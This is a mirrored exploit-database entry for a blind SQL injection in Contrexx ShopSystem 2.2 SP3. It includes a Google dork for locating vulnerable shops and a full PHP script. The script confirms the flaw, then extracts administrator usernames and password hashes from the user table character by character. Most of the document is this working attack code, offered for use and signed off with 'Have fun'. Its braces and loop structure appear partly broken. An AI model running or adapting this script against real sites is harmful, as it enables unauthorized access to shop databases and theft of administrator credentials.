Contrexx ShopSystem 2.2 SP3 – Blind SQL Injection

Exploit Database
132 阅读

作者： Penguin

日期： 2011-08-14
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/17667/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit

Exploit PoC: index.php?section=shop&productId=[VALID productid] and [YOUR BLIND SQL CODE]

Exploit tested on: Debian 6, Ubuntu Linux 11.04

Exploit found and written by: Penguin

Version: =< 2.2 SP 3

Date found: 12.8.11

Dork: inurl:index.php?section=shop&productId=

Vendor: www.contrexx.com

Visit: www.null-sector.info

Contact: Jabber -> penguin@null-sector.info

#!/usr/bin/php

<?php

Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit

Exploit PoC: index.php?section=shop&productId=[VALID productid] and [YOUR BLIND SQL CODE]

Exploit tested on: Debian 6, Ubuntu Linux 11.04

Exploit found and written by: Penguin

Version: =< 2.2 SP 3

Date found: 12.8.11

Dork: inurl:index.php?section=shop&productId=

Vendor: www.contrexx.com

Visit: www.null-sector.info

Contact: Jabber -> penguin@null-sector.info

Greets to: Blacktiger/Luxy, Leto, hAgBaRd2ooo, KrimiX, zYiix, reutz/head

Important info to this Exploit:

If you want to use it on a non-german site you have to edit the string in testIt "In den Warenkorb"!

Known Bugs:

-> Some servers response 500 - Internal Server Error. Dunno why :(

-> On non-german shops you must edit the function testIt. It does not fetch a keyword automatic :/

echo "#######################################\r\n";

echo "# Contrexx Shopsystem Exploit #\r\n";

echo "# Exploit Type: Blind SQL Injection #\r\n";

echo "# Exploit State: Non-Public #\r\n";

echo "# Programmed by: Penguin#\r\n";

echo "#######################################\r\n";

if ($argc < 4)

{

echo "USAGE: ./exploit.php [TARGET] [PRODUCTID] [ADMIN ROW]\r\n";

echo "Target = ex. http://demo.site/index.php\r\n";

echo "PRODUCTID = a VALID ProductId!\r\n";

echo "Admin Row = The Exploit selects all admins and use limit [ADMIN ROW],1. Standard: 0\r\n";

} else {

// There are some Config variables :)

// If you know what you're doing, feel free to change them :>

$target_url = $argv[1] . "?section=shop&cmd=details&productId=" . $argv[2];

$charset_start_usr = 96;

$charset_end_usr = 126;

$charset_hash = Array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);

$toLength = 100;

$myLimit = $argv[3];

// Now the Action start :)

echo "Starting exploit....\r\nChecking if Vulnerable...";

$check = file_get_contents($target_url . "'");

if(testIt($check) == true)

{

die("Target is not Vulnerable :(\r\n");

}

echo "Target is Vulnerable :)\r\n";

echo "Starting the SQL Injection...\r\n";

echo "Fetching Username...\r\n";

$username = getUsername($toLength, $charset_start_usr, $charset_end_usr, $target_url,$myLimit);

$hash = getHash($toLength,$charset_hash,$target_url,$myLimit);

echo "Exploited Successfully!\r\n";

echo "Full Logindata: $username : $hash\r\n";

echo "Have fun ;)\r\n";

}

/////////////////////////////////////////

//Functions - Sorry, code is a bit "ugly" :)

function getUsername($toLength, $charset_start, $charset_end, $target_url,$limit)

{

$username = "";

// Get Length

$length = -1;

for($i=0;$i<$toLength;$i++)

{

$url = $target_url . "/**/and/**/(select/**/length(username)/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1)=" . $i;

$src = file_get_contents($url);

if(testIt($src) == true)

{

$length = $i;

break;

}

if ($length == -1)

{

die("There was a problem @ fetching username length :(\r\n");

}

echo "Username length: $length !\r\n";

$username = "";

echo "Username: ";

for($k=0;$k<$length;$k++)

{

$charToAdd = "";

for($c=$charset_start;$c<$charset_end;$c++)

{

$p = $k+1;

$src = file_get_contents($target_url . "/**/and/**/substring((select/**/username/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($c)");

if(testIt($src) == true)

{

$charToAdd = $c;

break;

}

echo chr($c);

$username .= chr($c);

}

echo "\r\n";

return $username;

}

function getHash($toLength, $charset, $target_url, $limit)

{

// Get Hash

$hash = "";

echo "Hash: ";

for($k=0;$k<32;$k++)

{

$charToAdd = "";

for($c=0;$c<count($charset);$c++)

{

$p = $k+1;

$z = $charset[$c];

$src = file_get_contents($target_url . "/**/and/**/substring((select/**/password/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($z)");

if(testIt($src) == true)

{

$charToAdd = $charset[$c];

break;

}

echo chr($charToAdd);

$hash .= chr($charToAdd);

}

echo "\r\n";

return $hash;

}

function testIt($src)

{

$check = explode("In den Warenkorb",$src);

if(count($check) >= 2)

{

return true;

}

return false;

}